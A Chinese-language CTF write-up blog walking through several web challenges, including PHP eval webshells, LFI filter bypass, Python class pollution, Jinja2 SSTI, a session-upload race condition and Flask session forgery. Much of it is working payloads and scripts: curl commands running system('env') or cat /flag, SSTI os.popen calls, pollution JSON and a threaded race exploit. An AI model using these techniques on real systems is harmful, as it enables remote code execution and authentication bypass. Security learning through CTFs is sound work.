╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:54:11)—(53ms)
╰─$>原来是在上层目录啊
curl -d "cmd=highlight_file('../flag.php');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg但是!!但是!!!!这个php文件是个假的flag!!!

真正的flag在哪里呢?先检查一下环境变量看看吧
curl -d "cmd=system('env');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg666,果然在环境变量里面,成功拿下此题
我算是知道不要扫目录是什么意思了
PHP_request_2
又(you)双(shuang)叒叕的给了一串PHP源码(后两个字读ruo zhuo
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);extract($_POST);:这个函数会将POST提交的键值对变成当前的 PHP 变量。例如,POST 提交a=1,那么在脚本里就直接多了一个变量$a,且值为1。eval($$$...$_);:这是 PHP 的可变变量语法。每一个$符号都代表一次“取指向”的操作。$_是最底层的变量名。$$_等于以$_的值作为名字的变量。$$$_等于以$$_的值作为名字的变量,以此类推。
这就意味着,我们需要构造一个长长的链条36 次套娃,最后取到的字符串是我们要执行的代码……
写个python脚本再顺便全部查一下可能的flag位置以防被耍
import requests
import re
url = "http://ctf.zjutsoft.cn:10048/"
# 定义需要扫描的 Payload 列表
# 1. 扫描根目录 2. 扫描上级目录 3. 查找全盘 flag 相关文件 4. 查看 phpinfo 详情
tasks = {
"Scan Root (/)": "system('ls -F /');",
"Scan Parent (..)": "system('ls -F ..');",
"Find Flag Files": "system('find / -name \"*flag*\" 2>/dev/null');",
"Check phpinfo": "phpinfo();"
}
def build_payload(cmd):
"""构造 36 层嵌套的 POST 数据"""
params = {'_': 'a1'}
for i in range(1, 35):
params[f'a{i}'] = f'a{i+1}'
params['a35'] = cmd
return params
print(f"[*] 开始对 {url} 进行全方位探测...\n")
for task_name, cmd in tasks.items():
print(f"正在执行: [{task_name}] ...")
try:
response = requests.post(url, data=build_payload(cmd), timeout=10)
# 防止 phpinfo 输出刷屏
output = response.text.split('<code>')[0].strip()
print("-" * 30)
if task_name == "Check phpinfo":
flags = re.findall(r'flag\{.*?\}', output, re.I)
if flags:
print(f"[!!!] 在 phpinfo 中发现 Flag: {flags}")
else:
print("[*] phpinfo 已执行,未直接发现 flag 字符串,请手动检查输出。")
else:
print(output if output else "[!] 无回显内容")
print("-" * 30 + "\n")
except Exception as e:
print(f"[-] 执行 {task_name} 时发生错误: {e}")
print("[*] 探测结束。")找到了在/flag.txt里面,把他读出来
import requests
url = "http://ctf.zjutsoft.cn:10048/"
payload = "system('cat /flag.txt');"
def build_payload(cmd):
params = {'_': 'a1'}
for i in range(1, 35):
params[f'a{i}'] = f'a{i+1}'
params['a35'] = cmd
return params
print(f"[*] 正在从 {url} 读取 /flag.txt ...")
try:
response = requests.post(url, data=build_payload(payload))
result = response.text.split('<code>')[0].strip()
print("-" * 50)
if result:
print(f"Flag 是: {result}")
else:
print(f"回显: {response.text[:200]}")
print("-" * 50)
except Exception as e:
print(f"[-] 错误: {e}")PHP_request_3
我不说你也知道是一串PHP源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
function check($x) {
if (preg_match('/^\d+$/', $x)) {
die("no number!");
}
$v = intval($x);
if ($v == 114514 && strlen($x) <= 7) {
return true;
}
return false;
}
if (isset($_GET['id'])) {
if (check($_GET['id'])) {
echo $flag;
} else {
echo "try harder";
}
}可以看到我们要传入的一个参数为11514的id,它必须满足以下三个条件:
preg_match('/^\d+$/', $x)必须不满足(否则返回no number!):这意味着id不能全是数字(必须包含至少一个非数字字符)。intval($x) == 114514:经过整数转换后,其值必须等于 $114514$。(臭死了啊啊啊啊啊啊啊啊啊啊strlen($x) <= 7:字符串的总长度不能超过 $7$ 位。
由于$v = intval($x)在转换字符串时,会从左到右读取,直到遇到非数字字符为止。我们可以利用这一点,在数字前后添加特定字符。
随便添加一个空格%20 或者什么字符就可以了,访问或者curl下面这个网址(注意最后的点号)
http://ctf.zjutsoft.cn:10082/?id=114514.one_by_one
嗯,反正不可能是一串go源码
<?php
highlight_file(__FILE__);
include "flag.php";
$q = $_SERVER['QUERY_STRING'];
parse_str($q, $arr);
$result = '';
for ($i = 1; $i <= count($arr); $i++) {
if (strlen($arr[$i]) > 1) die("太长了!!");
$result .= $arr[$i];
}
if ($result === "一个接一个") {
echo "ok";
echo $flag;
}可以看到,parse_str($q, $arr):将 URL 中的查询字符串解析到变量 $arr 中。例如 ?1=a&2=b 会变成 $arr['1']='a', $arr['2']='b'。
strlen($arr[$i]) > 1:在 PHP 中,strlen 计算的是字节数而不是字符数。
"一个接一个" 在 UTF-8 编码下,一个中文字符通常占用 3 个字节。
由于每个 $arr[$i] 只能有 1 个字节,我们需要把每个汉字拆分成 3 个原始字节,按顺序传给 1, 2, 3...。
我们需要获取“一个接一个”这 5 个字的 UTF-8 十六进制编码:
一:
\xE4\xB8\x80个:
\xE4\xB8\xAA接:
\xE6\x8E\xA5一:
\xE4\xB8\x80个:
\xE4\xB8\xAA
总共 5 个字 $\times$ 3 字节 = 15 个字节。我们需要构造从 1 到 15 的参数。
http://ctf.zjutsoft.cn:10166/?1=%E4&2=%B8&3=%80&4=%E4&5=%B8&6=%AA&7=%E6&8=%8E&9=%A5&10=%E4&11=%B8&12=%80&13=%E4&14=%B8&15=%AA拿去访问就能拿到flag了
Local_File_Inclusion
显而易见的,不是Python源码
<?php
highlight_file("index.php");
error_reporting(0);
session_start();
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
?>它在内部把输入删掉了所有点之后,检查开头是不是字母。这意味着如果输入 ../../flag,删掉点后会变成 //flag,开头是 / 而不是字母,会被拦截。
同时,include 语句被写死了必须以 file:// 开头。这意味着不能直接使用 php://filter(因为会变成 file://php://filter,导致失效)。
那也好办,使用localhost开头即可
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:04:34)—(254ms)
╰─$> curl -d "1=localhost/flag" http://ctf.zjutsoft.cn:10109/
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /><br />highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br /><br />function </span><span style="color: #0000BB">waf</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">){<br /> </span><span style="color: #0000BB">$path </span><span style="color: #007700">= </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"."</span><span style="color: #007700">,</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB">$path</span><span style="color: #007700">);<br /> return </span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">"/^[a-z]+/"</span><span style="color: #007700">,</span><span style="color: #0000BB">$path</span><span style="color: #007700">);<br />}<br /><br />if(</span><span style="color: #0000BB">waf</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">])){<br /> include </span><span style="color: #DD0000">"file://"</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br />}<br /><br /></span><span style="color: #0000BB">?><br /></span>
</span>
</code>flag{4ed2c12e-ffb8-4a63-8ff7-00259f01c2ff}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:07:39)—(48ms)
╰─$>做这题的时候已经2:00了,lz明早(今天的晚些时候)7:00就要起床,nmd
贪吃蛇
神人,这题抄的人家的,连flag疑似都是静态的
Pollution1
Welcome. Hint: Check out /admin/exec to see how we run system commands. Welcome to the Config Manager. Use POST /update to change settings.
访问得到了这个,看起来像是个flask框架搭的后端,不过居然让我们访问/admin/exec那就去看看有什么猫腻吧
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:07:39)—(48ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================
config = {
"admin_command": "echo 'System is safe'" # <--- Current Value
}
# Backend Execution Logic:
try:
output = os.popen(config['admin_command']).read()
return output
except Exception as e:
return str(e)
# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================
System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:11:52)—(56ms)
╰─$> curl -X POST -d "cmd=;id" http://ctf.zjutsoft.cn:10143/update
{"message":"Invalid JSON","status":"error"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:03)—(49ms)
╰─$>额,看起来后端不接受传统的表单提交,它要求发送 JSON 格式的数据。
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:03)—(49ms)
╰─$> curl -X POST \
-H "Content-Type: application/json" \
-d '{"admin_command": "cat /flag.txt"}' \
http://ctf.zjutsoft.cn:10143/update
{"message":"Config updated","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:32)—(51ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================
config = {
"admin_command": "echo 'System is safe'" # <--- Current Value
}
# Backend Execution Logic:
try:
output = os.popen(config['admin_command']).read()
return output
except Exception as e:
return str(e)
# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================
System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:40)—(59ms)
╰─$> curl -X POST -H "Content-Type: application/json" -d '{"admin_command": "cat /flag"}' http://ctf.zjutsoft.cn:10143/update
{"message":"Config updated","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:03)—(57ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================
config = {
"admin_command": "echo 'System is safe'" # <--- Current Value
}
# Backend Execution Logic:
try:
output = os.popen(config['admin_command']).read()
return output
except Exception as e:
return str(e)
# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================
System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:04)—(58ms)
╰─$>hyw啊?刚提交的又被原始的默认值给覆盖掉了?
一开始我想会不会是因为session失效了,所以我将cookies保存了下来,尝试带上cookies修改和访问
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:04)—(58ms)
╰─$> curl -c cookies.txt http://ctf.zjutsoft.cn:10143/admin/exec && \
curl -b cookies.txt -c cookies.txt -X POST \
-H "Content-Type: application/json" \
-d '{"admin_command": "cat /flag"}' \
http://ctf.zjutsoft.cn:10143/update && \
curl -b cookies.txt http://ctf.zjutsoft.cn:10143/admin/exec
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================
config = {
"admin_command": "echo 'System is safe'" # <--- Current Value
}
# Backend Execution Logic:
try:
output = os.popen(config['admin_command']).read()
return output
except Exception as e:
return str(e)
# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================
System is safe
{"message":"Config updated","status":"success"}
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================
config = {
"admin_command": "echo 'System is safe'" # <--- Current Value
}
# Backend Execution Logic:
try:
output = os.popen(config['admin_command']).read()
return output
except Exception as e:
return str(e)
# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================
System is safe彻底没招了,只能查了一下(问了下gemini),这里需要用到Python原型链污染(prototype-pollution-in-python)
看来这一题比想象中要“狡猾”。既然你已经尝试了 Session 保持但依然看到
System is safe,这说明后端并不依赖 Session 来存储配置,或者它在每次请求/admin/exec时都从某个“源头”重置了config字典。结合
/admin/exec返回的 Python 调试源码,这极大概率是一道 Python 类污染(Class Pollution) 题目。1. 核心逻辑分析
在 Python 中,如果后端使用了一个类似“合并(Merge)”的函数来处理 JSON 更新,但没有对
__init__或__class__进行过滤,攻击者就可以通过 JSON 注入来修改 全局变量 或 类的属性。观察调试信息:
Python
config = { "admin_command": "echo 'System is safe'" # <--- Current Value }如果这个
config在后端代码中是一个类属性或全局变量,而普通的POST /update只是修改了一个局部副本,那么我们需要通过__globals__或__init__来强行改写全局的那个config。2. 尝试“类污染”绕过
请尝试使用以下几种嵌套结构的 JSON Payload 进行更新。它们的目的是通过 Python 的特殊属性深入到内存底层,改写那个被硬编码的
admin_command。针对全局字典的污染
curl -X POST -H "Content-Type: application/json" \ -d '{"__init__": {"__globals__": {"config": {"admin_command": "cat /flag"}}}}' \ http://ctf.zjutsoft.cn:10143/update
还是西药有效,Gemini给出的解决方案一次就拿到了flag,这题就是在考Python原型链污染(prototype-pollution-in-python)
关于Python原型链污染,这篇文章详细的介绍了为什么会这样:Python原型链污染(prototype-pollution-in-python) - Article_kelp - 博客园
登录框的秘密
给了一个登陆框,随便输入就会变成Hello加上你刚刚的输入内容,同时url会出现?user=刚刚的输入内容


先试了试在?user=后面跟上{{0*114}} ,Hello后面的内容变成了0,破案了,后端又是用的Python的Flask。
那好办了,先看看环境变量里面有些什么
http://ctf.zjutsoft.cn:10128/?user={{config}}看起来并没有flag

接下来尝试去读根目录的内容
?user={{url_for.__globals__['os'].popen('ls /').read()}}

????666还带嘲讽的
额,好吧,看起来访问路径暂时行不通,那先看看全局环境变量有些什么吧,在?user=后面跟上{{lipsum.__globals__.os.environ}}

woc秒出flag秒杀!!!!!!!!
放屁,这是个假的flag,出题人出来我给你说个事,wcnmb的
试着用?user={{lipsum.__globals__.os.listdir('/')}}列了下根目录下的文件,果然在根目录下

那就读呗
尝试使用os.open只负责打开文件,但是
?user={{lipsum.__globals__.os.open('/flag',0)}} 超长了……
但是不对啊,刚刚{{lipsum.__globals__.os.environ}} 34个字符,刚刚好可以访问,但是{{lipsum.__globals__.os.open('/flag',0)}} 就是35个字符,就超长了????恶不恶心啊????
更气人的是,我们在/app目录下,没法去掉/……(已经快3:00了脑袋不清醒了)

等等,那我们想办法跳转到根目录下不久好了
?user={{lipsum.__globals__.os.chdir('..')}} 返回了NONE
再次用?user={{lipsum.__globals__.os.getcwd()}} 检查路径,这回来到了根目录
接下来就是一点小小的linux知识了
Linux 内核底层的文件处理机制之文件描述符(File Descriptor, FD)
在 Linux 系统中,有一句名言:“一切皆文件”。
调用
os.open('flag', 0)时,操作系统会发生如下操作:
在进程的“文件表”里打开一个位置。
分配一个空位置
进程内部维护一张叫 “打开文件表”(open file table) 的数组(在用户态里是由 Python/CPython 实现、在内核里是 struct file)。
每个新进入的文件都必须占到这张表中的一个索引位置。
分配并返回一个整数
在该空位置中保存对应的 文件结构体(inode、读写位置等)。
同时把 fd(文件描述符)——即这个表的索引编号——返回给调用者。常见的取值是 0, 1, 2…,但并不一定从 3 开始,只是第一次打开时得到的最小可用整数。
把前面的{{lipsum.__globals__.os.open('/flag',0)}} 去掉/ ,得到一个索引编号5
{{lipsum.__globals__.os.read(5,99)}} 拿到flag,终于结束了这题
upload3
<?php
// index.php
session_start();
$file = $_GET['file'];
// 题目描述:Flag 在 /flag.php,但是你需要 Webshell 才能读取。
// 提示:没有上传功能?PHP 自身也是会处理上传的哦。
if (isset($file)) {
// 简单的过滤,防止直接读取 flag,强迫使用 Webshell
if (strpos($file, 'flag') !== false) {
die("No flag for you directly!");
}
// 必须是存在的文件
if (file_exists($file)) {
include($file);
} else {
echo "File not found.";
}
} else {
highlight_file(__FILE__);
}
?>题目提到了PHP 的 session.upload_progress 功能,那么我们可以通过 POST 上传一个文件,并在 PHP_SESSION_UPLOAD_PROGRESS 中填入木马:<?php system('cat /flag.php'); ?>。PHP 会把这段代码写入 Session 文件(通常在 /tmp/sess_$PHPSESSID),接下来我们利用 include($_GET['file']) 去包含这个 Session 文件。
不过,由于 Session 文件在上传结束后可能会被 PHP 自动清理,我们需要用到条件竞争——在上传还没结束时,赶紧去 include 它。
事已至此,先去找PHPSESSID 吧
curl -i http://ctf.zjutsoft.cn:10035/得到PHPSESSID=7387f55c4571d37485157a91a832d694
把这个PHPSESSID export到系统env中,懒得打了
接下来找服务器的上传位置,一个一个用curl试
?file=/var/lib/php/sessions/sess_$PHPSESSID?file=/var/lib/php/session/sess_$PHPSESSID?file=/tmp/sess_$PHPSESSID?file=/tmp/sessions/sess_$PHPSESSID
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:54:39)—(48ms)
╰─$> curl http://ctf.zjutsoft.cn:10035/?file=/tmp/sess_$PHPSESSID
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:55:14)—(55ms)
╰─$>在?file=/tmp/sess_$PHPSESSID 找到了存储位置
好写脚本xd好写
import requests
import threading
import io
url = "http://ctf.zjutsoft.cn:10035/"
sess_id = "7387f55c4571d37485157a91a832d694"
session_file = f"/tmp/sess_{sess_id}"
# 构造一个 1MB 的大文件,延长上传时间
big_file = b"a" * 1024 * 1024
# 攻击 Payload:利用 readfile 直接读取 php 源码
tag = "EXPL_SUCCESS"
payload = f"<?php echo '{tag}'; echo '[ROOT_FLAG]:'; readfile('/flag'); echo '[LOCAL_PHP]:'; readfile('flag.php'); die(); ?>"
def write():
while True:
data = {"PHP_SESSION_UPLOAD_PROGRESS": payload}
files = {"file": ("shell.php", io.BytesIO(big_file))}
try:
requests.post(url, data=data, files=files, cookies={"PHPSESSID": sess_id})
except:
pass
def read():
while True:
try:
r = requests.get(url, params={"file": session_file}, cookies={"PHPSESSID": sess_id})
if tag in r.text:
print("\n\n[!!!] 捕获成功!内容如下:")
print(r.text.split(tag)[1].split("<code>")[0])
import os
os._exit(0)
else:
print(".", end="", flush=True)
except:
pass
print(f"[*] 目标路径: {session_file}")
# 开启 10 个写线程,10 个读线程
for _ in range(10):
threading.Thread(target=write).start()
for _ in range(10):
threading.Thread(target=read).start()执行这个py脚本,flag到手
Pollution2
哎woc我踏马当时怎么这么有毅力啊?我现在回头写博客我都不想写了
前端是个登录框,输什么都会报错Error: Authentication service is offline. Contact admin.

试着抓了个包看看是发到哪里的和提交的数据格式
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:51)—(59ms)
╰─$> curl -X POST -H "Content-Type: application/json" -d '{
"username": "admin",
"password": "123",
"__init__": {"__globals__": {"offline": false}}
}' http://ctf.zjutsoft.cn:10143/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Internal Login</title>
<style>
body { font-family: sans-serif; display: flex; flex-direction: column; align-items: center; padding-top: 100px; background-color: #f0f0f0; transition: background 0.5s; }
.login-box { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; }
input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
button { width: 100%; padding: 10px; background: #007bff; color: white; border: none; cursor: pointer; }
button:hover { background: #0056b3; }
.error { color: red; font-size: 14px; margin-bottom: 10px; }
.footer-tools { margin-top: 20px; font-size: 12px; color: #666; cursor: pointer; text-decoration: underline; }
</style>
</head>
<body>
<div class="login-box">
<h2 style="text-align: center;">Admin Portal</h2>
<div class="error">Error: Authentication service is offline. Contact admin.</div>
<form method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</div>
<div class="footer-tools" onclick="toggleTheme()">
[Toggle Dark Mode]
</div>
<script>
// 选手看到这个函数,应该意识到可以通过 JSON 控制后端对象的属性
function toggleTheme() {
const isDark = document.body.style.backgroundColor === 'rgb(51, 51, 51)';
const newColor = isDark ? '#f0f0f0' : '#333333';
// 发送 JSON 配置
fetch('/set_preferences', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
"color": newColor
})
}).then(res => res.json()).then(data => {
if(data.status === 'success') {
document.body.style.backgroundColor = newColor;
}
});
}
</script>
</body>
</html>
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:55)—(48ms)
╰─$>666,神人源码拿AI写的
可以的,3A大赛,AI源码,AI做题,AI分析
不过,我们知道了 /set_preferences 是我们的真正污染点
试着去污染,看看能不能让验证服务上线
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:55)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"offline": false}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:04:37)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" -d '{"__init__": {"__globals__": {"offline": false}}}' http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:04:55)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {
"offline": false,
"is_offline": false,
"maintenance": false,
"maintenance_mode": false,
"auth_service_offline": false,
"service_offline": false,
"status": "online"
}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:28)—(47ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"app": {"config": {"OFFLINE": false, "MAINTENANCE": false}}}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:46)—(46ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"app": {"debug": true}}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences
{
"msg": "Preferences saved",
"status": "success"
}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:58)—(46ms)
╰─$>返回了 {"status":"success"} ,说明后端确实存在 Merge漏洞,且 init.__globals__ 路径已经成功访问了Python 的全局命名空间
然后各种猜,各种试变量名……但是全都没有结果
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:10:58)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"non_existent_variable": "test"}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences
{
"msg": "Preferences saved",
"status": "success"
}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:11:17)—(47ms)
╰─$>甚至我故意传了个不可能存在的变量名企图让报错泄露实际路径,但是这次居然也是success?
这个时候冷静下来了,我为什么要去激活这个“离线”的认证系统?我们要这个认证系统的目的无非就是访问到某个后台文件或者拿到某个权限进而去获得某个路径的访问权,那我们的最终目的都是“被认证”,何必非得经过原有的暗箱?
同时我觉得这个靶机绝对不只是只有这两个路径,于是当了个脚本小子,尝试看看有没有其他路径顺便看看能不能顺便获的鉴权,首先我发现了admin是可以访问的,于是尝试脚本批量查看admin的鉴权方式
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:14:59)—(6ms)
╰─$> ./bypass-403.sh http://ctf.zjutsoft.cn:10143/
./bypass-403.sh: 行 2: figlet: 未找到命令
By Iam_J0ker
./bypass-403.sh https://example.com path
404,207 --> http://ctf.zjutsoft.cn:10143/admin/
404,207 --> http://ctf.zjutsoft.cn:10143/admin/%2e/
404,207 --> http://ctf.zjutsoft.cn:10143/admin//.
404,207 --> http://ctf.zjutsoft.cn:10143/admin////
404,207 --> http://ctf.zjutsoft.cn:10143/admin/.//./
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Original-URL:
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Custom-IP-Authorization: 127.0.0.1
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-For: http://127.0.0.1
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-For: 127.0.0.1:80
403,47 --> http://ctf.zjutsoft.cn:10143/admin -H X-rewrite-url:
404,207 --> http://ctf.zjutsoft.cn:10143/admin/%20
404,207 --> http://ctf.zjutsoft.cn:10143/admin/%09
404,207 --> http://ctf.zjutsoft.cn:10143/admin/?
404,207 --> http://ctf.zjutsoft.cn:10143/admin/.html
404,207 --> http://ctf.zjutsoft.cn:10143/admin//?anything
404,207 --> http://ctf.zjutsoft.cn:10143/admin/#
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H Content-Length:0 -X POST
404,207 --> http://ctf.zjutsoft.cn:10143/admin//*
404,207 --> http://ctf.zjutsoft.cn:10143/admin/.php
404,207 --> http://ctf.zjutsoft.cn:10143/admin/.json
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -X TRACE
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Host: 127.0.0.1
404,207 --> http://ctf.zjutsoft.cn:10143/admin/..;/
000,0 --> http://ctf.zjutsoft.cn:10143/admin/;/
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -X TRACE
404,207 --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-Host: 127.0.0.1
Way back machine:
^Chyw啊,合着admin是有内容的,同时访问/admin浏览器提示403Forbidden
那接下来的思路就有了,在 Flask 中,拦截器通常会检查 session。前面我们可以通过/set_preferences进行污染,那么我们污染 SECRET_KEY就好了
curl -X POST -H "Content-Type: application/json" \
-d '{"__init__": {"__globals__": {"SECRET_KEY": "123", "app": {"config": {"SECRET_KEY": "ctf"}}}}}' \
http://ctf.zjutsoft.cn:10143/set_preferences然后使用flask-unsign 来伪造session
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:20:20)—(2.505s)
╰─$>flask-unsign --sign --cookie "{'is_admin': True, 'user': 'admin'}" --secret "ctf" --no-literal-eval此时/admin变成了flag,成功全部解决web
结 算 画 面

评论